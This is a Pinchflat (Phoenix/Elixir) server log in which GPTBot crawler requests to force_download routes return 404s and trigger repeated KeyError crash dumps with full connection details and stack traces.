21:01:45.685 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:50.694 [info] GET /sources/1/media/6/force_download 21:01:50.695 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1073.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:01:50.696 [debug] QUERY OK source="settings" db=0.4ms idle=1074.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:01:50.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:01:50.696 [error] #PID<0.4753.0> running PinchflatWeb.Endpoint (connection #PID<0.4752.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/6/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42310}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/6", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4753.0>, params: %{}, path_info: ["sources", "1", "media", "6", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/6"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/6/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8N8d95QDlmVcgAAFUR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42310}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/6", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42310}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/6", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:02:00.496 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:15.687 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:45.691 [info] {"source":"oban","duration":3144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:52.130 [info] GET /sources/1/media/5/force_download 21:02:52.131 [debug] QUERY OK source="settings" db=0.6ms idle=959.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:52.131 [debug] QUERY OK source="settings" db=0.2ms idle=510.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:52.131 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:02:52.133 [error] #PID<0.4760.0> running PinchflatWeb.Endpoint (connection #PID<0.4759.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/5/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58790}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/5", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4760.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/5"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/5/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8OAC1P6R-GKsUAAFVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58790}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/5", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58790}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/5", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:03:00.497 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:15.693 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:45.695 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:52.359 [info] GET /sources/1/media/2/force_download 21:03:52.360 [debug] QUERY OK source="settings" db=0.6ms idle=738.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:52.360 [debug] QUERY OK source="settings" db=0.5ms idle=739.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:52.361 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:03:52.361 [error] #PID<0.4766.0> running PinchflatWeb.Endpoint (connection #PID<0.4765.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/2/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/2/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41726}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/2", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4766.0>, params: %{}, path_info: ["sources", "1", "media", "2", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/2"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/2/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8ODjM6mWXKldsAAFVx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41726}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/2", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/2/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/2/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41726}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/2", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:04:00.498 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:15.697 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:45.699 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:55.091 [info] GET /sources/1/media/3/force_download 21:04:55.093 [debug] QUERY OK source="settings" db=1.3ms idle=1470.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:55.093 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1471.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:55.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:04:55.094 [error] #PID<0.4773.0> running PinchflatWeb.Endpoint (connection #PID<0.4772.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/3/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58566}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/3", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4773.0>, params: %{}, path_info: ["sources", "1", "media", "3", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/3"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/3/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8OHM5bWX13fegAAFWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58566}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/3", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 